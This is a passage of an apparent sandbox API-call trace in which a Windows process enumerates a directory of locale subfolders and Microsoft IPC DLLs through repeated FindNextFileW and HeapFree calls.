	[0082.988] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0082.988] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.988] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0082.989] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.989] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1
	[0082.990] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.990] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0082.990] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.990] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0082.991] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.991] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0082.992] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.992] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0082.993] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.993] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1
	[0082.993] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.994] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0082.994] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.994] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0082.994] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.994] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0082.995] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.995] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0082.996] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.996] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0082.997] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.997] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0082.998] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.998] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0082.999] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.999] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1
	[0083.001] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0083.001] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0083.002] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.002] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0083.002] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.002] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0083.003] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.003] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0083.003] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.003] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0083.004] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.004] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1
	[0083.005] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.005] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1
	[0083.006] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.006] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0083.006] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.006] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1
	[0083.007] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.007] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1
	[0083.008] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.008] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0083.009] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.009] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0083.010] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.010] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0083.014] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.014] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0083.015] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.016] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0083.016] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.016] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1
	[0083.016] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.016] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1
	[0083.016] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.016] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0083.018] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.018] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0083.018] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.018] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1
	[0083.019] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.019] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0083.019] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.019] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0083.020] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.020] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0083.021] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
